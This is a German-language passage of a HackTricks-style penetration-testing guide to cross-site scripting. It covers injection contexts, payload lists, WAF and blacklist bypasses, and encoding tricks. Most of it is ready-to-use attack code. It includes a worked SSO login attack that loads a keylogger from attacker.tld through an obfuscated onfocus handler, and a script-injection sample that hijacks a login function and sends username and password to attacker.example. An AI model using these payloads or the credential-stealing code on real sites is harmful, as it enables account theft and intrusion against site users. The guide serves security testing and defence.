%.*s
XSS (Cross Site Scripting)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Methodik
- Prüfe, ob ein von dir kontrollierter Wert (parameters, path, headers?, cookies?) im HTML reflektiert wird oder vom JS-Code verwendet wird.
- Bestimme den Kontext, in dem er reflektiert/verwendet wird.
- Wenn reflektiert
- Prüfe, welche Zeichen du verwenden kannst und bereite abhängig davon das Payload vor:
- Im rohen HTML:
- Kannst du neue HTML-Tags erstellen?
- Kannst du Events oder Attribute verwenden, die das
javascript:-Protokoll unterstützen? - Kannst du Schutzmechanismen umgehen?
- Wird der HTML-Inhalt von einer clientseitigen JS-Engine (AngularJS, VueJS, Mavo…) interpretiert? Dann könntest du eine Client Side Template Injection ausnutzen.
- Falls du keine HTML-Tags erzeugen kannst, die JS-Code ausführen, könntest du eine Dangling Markup - HTML scriptless injection ausnutzen?
- Innerhalb eines HTML-Tags:
- Kannst du in den rohen HTML-Kontext entkommen?
- Kannst du neue Events/Attribute erzeugen, um JS-Code auszuführen?
- Unterstützt das Attribut, in dem du feststeckst, die Ausführung von JS?
- Kannst du Schutzmechanismen umgehen?
- Innerhalb von JavaScript-Code:
- Kannst du das
<script>Tag beenden/ausbrechen? - Kannst du die Zeichenkette escapen und anderen JS-Code ausführen?
- Befinden sich deine Eingaben in Template-Literalen ``?
- Kannst du Schutzmechanismen umgehen?
- Javascript Funktion, die ausgeführt wird
- Du kannst den Namen der auszuführenden Funktion angeben. z.B.:
?callback=alert(1) - Wenn verwendet:
- Du könntest ein DOM XSS ausnutzen — achte darauf, wie deine Eingabe kontrolliert wird und ob deine kontrollierte Eingabe von einem Sink verwendet wird.
Wenn du an einem komplexen XSS arbeitest, könnte es interessant sein, Folgendes zu kennen:
Reflektierte Werte
Um ein XSS erfolgreich auszunutzen, musst du zuerst einen von dir kontrollierten Wert finden, der in der Webseite reflektiert wird.
- Zwischenzeitlich reflektiert: Wenn du feststellst, dass der Wert eines Parameters oder sogar des Pfads in der Webseite reflektiert wird, könntest du ein Reflected XSS ausnutzen.
- Gespeichert und reflektiert: Wenn ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Zugriff auf eine Seite reflektiert wird, könntest du ein Stored XSS ausnutzen.
- Über JS zugänglich: Wenn ein von dir kontrollierter Wert mittels JS ausgelesen wird, könntest du ein DOM XSS ausnutzen.
Kontexte
Wenn du versuchst, ein XSS auszunutzen, musst du zuerst wissen, wo deine Eingabe reflektiert wird. Je nach Kontext kannst du auf unterschiedliche Weise beliebigen JS-Code ausführen.
Rohes HTML
Wenn deine Eingabe im rohen HTML reflektiert wird, musst du ein HTML-Tag missbrauchen, um JS-Code auszuführen: <img , <iframe , <svg , <script … das sind nur einige der vielen möglichen HTML-Tags, die du verwenden könntest.
Beachte außerdem Client Side Template Injection.
Innerhalb von HTML-Attributen
Wenn deine Eingabe innerhalb des Werts eines Attributs eines Tags reflektiert wird, kannst du versuchen:
- Aus dem Attribut und aus dem Tag auszubrechen (dann befindest du dich im rohen HTML) und ein neues HTML-Tag erstellen, das du missbrauchst:
"><img [...] - Falls du aus dem Attribut, aber nicht aus dem Tag ausbrechen kannst (
>ist kodiert oder gelöscht), könntest du je nach Tag ein Event erstellen, das JS-Code ausführt:" autofocus onfocus=alert(1) x=" - Falls du nicht aus dem Attribut ausbrechen kannst (
"wird kodiert oder gelöscht), hängt es davon ab, in welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst. Zum Beispiel, wenn du ein Event wieonclick=kontrollierst, kannst du ihn so ausführen lassen, dass beim Klicken beliebiger Code ausgeführt wird. Ein weiteres interessantes Beispiel ist das Attributhref, wo du dasjavascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen:href="javascript:alert(1)" - Wenn deine Eingabe in “nicht-ausnutzbaren Tags” reflektiert wird, könntest du den
accesskey-Trick versuchen (du brauchst etwas Social Engineering, um das auszunutzen):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Eine unternehmensweite SSO-Login-Seite reflektierte den OAuth-Parameter service innerhalb des href-Attributs von <a id="forgot_btn" ...>. Obwohl < und > HTML-kodiert wurden, waren doppelte Anführungszeichen nicht kodiert, sodass der Angreifer das Attribut schließen und dasselbe Element wiederverwenden konnte, um Handler wie " onfocus="payload" x=" einzufügen.
- Inject the handler: Einfache Payloads wie
onclick="print(1)"wurden geblockt, aber der WAF inspizierte nur die erste JavaScript-Anweisung in Inline-Attributen. Das Präfixen eines harmlosen Ausdrucks in Klammern gefolgt von einem Semikolon erlaubte die Ausführung des eigentlichen Payloads:onfocus="(history.length);malicious_code_here". - Auto-trigger it: Browser fokussieren jedes Element, dessen
idmit dem Fragment übereinstimmt, also erzwingt das Anhängen von#forgot_btnan die Exploit-URL, dass der Anchor beim Laden der Seite fokussiert wird und der Handler ohne Klick ausgeführt wird. - Keep the inline stub tiny: Das Ziel hatte bereits jQuery eingebunden. Der Handler musste nur eine Anfrage via
$.getScript(...)bootstrappen, während der vollständige Keylogger auf dem Server des Angreifers lag.
Strings ohne Anführungszeichen erstellen
Single quotes wurden URL-kodiert zurückgegeben und escaped double quotes korrumpierten das Attribut, daher erzeugte das Payload jeden String mit String.fromCharCode. Eine Hilfsfunktion macht es einfach, jede URL in Char-Codes umzuwandeln, bevor man sie in das Attribut einfügt:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Ein resultierendes Attribut sah folgendermaßen aus:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Warum das die Anmeldedaten stiehlt
Das externe Script (geladen von einem vom Angreifer kontrollierten Host oder Burp Collaborator) hat document.onkeypress gehookt, Tasteneingaben gepuffert und jede Sekunde new Image().src = collaborator_url + keys ausgeführt. Da das XSS nur für nicht authentifizierte Benutzer ausgelöst wird, ist die sensible Aktion das Login-Formular selbst — der Angreifer zeichnet Benutzernamen und Passwörter auf, selbst wenn das Opfer nie auf “Login” klickt.
Seltsames Beispiel, wie Angular XSS ausführt, wenn man einen Klassennamen kontrolliert:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Innerhalb von JavaScript-Code
In diesem Fall wird Ihre Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, innerhalb einer .js-Datei oder innerhalb eines Attributs mit dem javascript:-Protokoll reflektiert:
- Wenn die Eingabe zwischen
<script> [...] </script>Tags reflektiert wird, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht, können Sie versuchen,</script>zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes</script>-Tag sich im HTML-Code befindet. - Wenn es inside a JS string reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie die Zeichenkette beenden, Ihren Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt):
'-alert(1)-'';-alert(1)//\';alert(1)//- Wenn es innerhalb von template literals reflektiert wird, können Sie JS-Ausdrücke einbetten using
${ ... }syntax:var greetings = `Hello, ${alert(1)}` - Unicode encode funktioniert, um gültigen javascript code zu schreiben:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting bezeichnet die Möglichkeit, Funktionen, Variablen oder Klassen erst nach ihrer Verwendung zu deklarieren, sodass man Szenarien ausnutzen kann, in denen ein XSS undeclared Variablen oder Funktionen verwendet.
Siehe die folgende Seite für mehr Infos:
Javascript Function
Mehrere Webseiten haben Endpunkte, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein häufiges Beispiel in der Praxis ist so etwas wie: ?callback=callbackFunc.
Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist den Parameterwert zu ändern (zum Beispiel in ‘Vulnerable’) und in der console nach Fehlern wie:
.png)
Falls es verwundbar ist, könntest du ein alert auslösen, indem du einfach den Wert sendest: ?callback=alert(1). Es ist jedoch sehr üblich, dass diese Endpunkte den Inhalt validieren, sodass nur Buchstaben, Zahlen, Punkte und Unterstriche erlaubt sind ([\w\._]).
Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, bestimmte Aktionen auszuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf beliebige Elemente im DOM zuzugreifen:
.png)
Einige nützliche Funktionen dafür:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.
Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; andere Seiten in derselben Origin haben oft ein interessanteres DOM, um mehr Aktionen durchzuführen.
Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Exploit-Technik Same Origin Method Execution (SOME) entwickelt:
SOME - Same Origin Method Execution
DOM
Es gibt JS-Code, der unsicher Daten verwendet, die von einem Angreifer kontrolliert werden, wie z.B. location.href. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
Universal XSS
Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art von beliebiger JavaScript-Ausführung kann sogar missbraucht werden, um RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen und mehr.
Einige Beispiele:
WAF-Bypass-Kodierungsbild
.jpg)
Injektion in rohes HTML
Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, prüfen, ob du < missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses Zeichen zu reflektieren und prüfe, ob es HTML-encodiert oder gelöscht wird oder ob es unverändert reflektiert wird. Nur im letzten Fall kannst du diesen Fall ausnutzen.
Für diese Fälle beachte auch Client Side Template Injection.
Hinweis: A HTML comment can be closed using****-->****or **--!>**
In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, könntest du Payloads wie:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Aber, wenn tags/attributes Black-/Whitelist-Mechanismen verwendet werden, wirst du brute-force herausfinden müssen, welche tags du erstellen kannst.
Sobald du lokalisiert hast, welche tags erlaubt sind, musst du brute-force die attributes/events innerhalb der gefundenen gültigen tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.
Tags/Events brute-force
Gehe zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicke auf Copy tags to clipboard. Sende dann alle mit Burp intruder und prüfe, ob irgendein tag nicht vom WAF als bösartig erkannt wurde. Sobald du entdeckt hast, welche tags du verwenden kannst, kannst du brute force alle events mit den gültigen tags durchführen (auf derselben Seite auf Copy events to clipboard klicken und das gleiche Vorgehen wie zuvor anwenden).
Custom tags
Wenn du kein gültiges HTML tag gefunden hast, kannst du versuchen, ein custom tag zu erstellen und JS code mit dem onfocus-Attribut auszuführen. In der XSS-Anfrage musst du die URL mit # beenden, damit die Seite den Fokus auf dieses Objekt setzt und den Code ausführt:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Wenn irgendeine Form von blacklist verwendet wird, kannst du versuchen, sie mit ein paar einfachen Tricks zu umgehen:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Weitere tiny XSS payloads für verschiedene Umgebungen finden Sie hier und hier.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr
Weitere dieser Zeichen findest du here.
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe here.
Click XSS - Clickjacking
Wenn du, um die Vulnerability auszunutzen, den Benutzer dazu bringen musst, auf einen Link oder ein Formular mit vorausgefüllten Daten zu klicken, kannst du versuchen, abuse Clickjacking (falls die Seite verwundbar ist).
Unmöglich - Dangling Markup
Wenn du denkst, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt, solltest du Danglig Markup prüfen, weil du die vulnerability exploiten könntest ohne JS-Code auszuführen.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Wenn du dich innerhalb eines HTML-Tags befindest, ist das Erste, das du versuchen könntest, aus dem Tag zu escapen und einige der in der previous section erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn du nicht aus dem Tag escapen kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem payload wie (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Style-Ereignisse
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Innerhalb des Attributs
Selbst wenn du nicht aus dem Attribut entkommen kannst (" wird kodiert oder gelöscht), wirst du, je nachdem in welches Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, in der Lage sein, es zu missbrauchen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du es so einrichten, dass beim Klicken beliebiger Code ausgeführt wird.
Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"
Umgehung innerhalb von Events mittels HTML-Encoding/URL-Encoding
Die HTML-kodierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit dekodiert. Daher ist so etwas wie das Folgende gültig (die payload ist fett): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Beachte, dass jede Art von HTML-Encoding gültig ist:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Beachte, dass URL encode ebenfalls funktioniert:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass innerhalb des event mithilfe von Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Spezielle Protokolle innerhalb des Attributs
Dort können Sie die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern Benutzerinteraktion, andere nicht.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Orte, an denen du diese Protokolle einfügen kannst
Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, der das Attribut href akzeptiert und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Other obfuscation tricks
In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da du dich in einem Attribut befindest.
<a href="javascript:var a=''-alert(1)-''">
Außerdem gibt es einen weiteren netten Trick für diese Fälle: Selbst wenn deine Eingabe innerhalb von javascript:... URL encoded wird, wird sie vor ihrer Ausführung URL decoded. Wenn du also escape aus dem string mit einem single quote brauchst und siehst, dass it’s being URL encoded, denk daran, dass es keine Rolle spielt, es wird interpretiert als ein single quote während der Ausführung.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge auf die payload anzuwenden, es nicht funktioniert, du kannst sie aber in der payload mischen.
Verwendung von Hex und Octal encode mit javascript:
Du kannst Hex und Octal encode innerhalb des src-Attributs von iframe (zumindest) verwenden, um HTML tags zur Ausführung von JS zu deklarieren:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:
Umgehung von “on” Event-Handlern
Zuerst prüfe diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche “on” event handlers.
Falls eine blacklist verhindert, dass du diese event handlers erstellen kannst, kannst du die folgenden bypasses versuchen:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Unexploitable tags” (hidden input, link, canonical, meta)
Von here ist es jetzt möglich, hidden inputs mit folgenden Methoden zu missbrauchen:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Und in Meta-Tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Aus here: Sie können ein XSS payload inside a hidden attribute ausführen, vorausgesetzt, Sie können die victim dazu überreden, die Tastenkombination zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination ALT+SHIFT+X und unter OS X ist sie CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im access key attribute verwenden. Hier ist der Vektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
Die XSS-Payload sieht etwa so aus: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Mehrere Tricks unter Verwendung verschiedener encodings wurden bereits in diesem Abschnitt gezeigt. Gehe zurück, um zu lernen, wo du sie verwenden kannst:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lies die Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lies die JavaScript bypass blacklist of the following section.
CSS-Gadgets
Wenn du eine XSS in einem sehr kleinen Bereich der Website gefunden hast, die eine Art von Interaktion erfordert (z. B. ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Raum, den dieses Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
Zum Beispiel könntest du dem Element folgendes Styling hinzufügen: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Wenn jedoch der WAF das style-Attribut filtert, kannst du CSS Styling Gadgets einsetzen. Wenn du zum Beispiel folgendes findest
.test {display:block; color: blue; width: 100%}
und
#someid {top: 0; font-family: Tahoma;}
Jetzt kannst du unseren Link ändern und ihn folgendermaßen gestalten
<a href=“” id=someid class=test onclick=alert() a=“”>
Dieser Trick stammt von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injection innerhalb von JavaScript-Code
In diesem Fall wird deine input innerhalb des JS-Codes einer .js-Datei oder zwischen <script>...</script>-Tags reflektiert oder zwischen HTML-Events, die JS-Code ausführen können, oder innerhalb von Attributen, die das javascript:-Protokoll akzeptieren.
Escaping <script> tag
Wenn dein Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, könntest du leicht das Schließen des <script>-Tags umgehen:
</script><img src=1 onerror=alert(document.domain)>
Beachte, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Das liegt daran, dass das HTML-Parsing zuerst vom Browser durchgeführt wird, wobei Seitelemente, einschließlich Script-Blöcken, identifiziert werden. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
Im JS-Code
Wenn <> bereinigt werden, kannst du trotzdem den String escapen, wo deine Eingabe platziert ist, und beliebiges JS ausführen. Es ist wichtig, die JS-Syntax zu korrigieren, denn wenn Fehler vorhanden sind, wird der JS-Code nicht ausgeführt:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Wenn Benutzereingaben innerhalb eines in Anführungszeichen stehenden JavaScript string landen (z. B. server-side echo in ein inline script), kannst du den string beenden, code injecten und die Syntax reparieren, damit das parsing gültig bleibt. Generisches Gerüst:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:
?param=test";<INJECTION>;a="
Dies führt Angreifer-JS aus, ohne den HTML-Kontext berühren zu müssen (reines JS-in-JS). Mit den untenstehenden Blacklist-Umgehungen kombinieren, wenn Filter Keywords blockieren.
Template literals ``
Um Strings zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Dies ist als template literals bekannt, da sie das Einbetten von JS-Ausdrücken mittels ${ ... }-Syntax erlauben.
Wenn dein Input also innerhalb eines JS-Strings, der backticks verwendet, reflektiert wird, kannst du die ${ ... }-Syntax missbrauchen, um beliebigen JS-Code auszuführen:
Das kann wie folgt missbraucht werden:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Codierte code-Ausführung
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Auslieferbare payloads mit eval(atob()) und Scope-Nuancen
Um URLs kürzer zu halten und naiven Keyword-Filtern zu entgehen, kannst du deine eigentliche Logik base64-kodieren und sie mit eval(atob('...')) auswerten. Wenn einfache Keyword-Filter Bezeichner wie alert, eval oder atob blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber String-Matching-Filter umgehen:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Wichtiger Scoping-Hinweis: const/let, die innerhalb von eval() deklariert werden, sind auf Blockebene begrenzt und erzeugen KEINE globalen Variablen; sie sind späteren Skripten nicht zugänglich. Verwende ein dynamisch injiziertes <script>-Element, um bei Bedarf globale, nicht überschreibbare Hooks zu definieren (z. B. um einen Formular-Handler zu kapern):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode-kodierte JS-Ausführung
alert(1)
alert(1)
alert(1)
JavaScript-Techniken zum Umgehen von Blacklists
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Spezielle Escapes
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Leerzeichen-Ersetzungen innerhalb von JS code
<TAB>
/**/
JavaScript-Kommentare (aus JavaScript Comments Trick)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
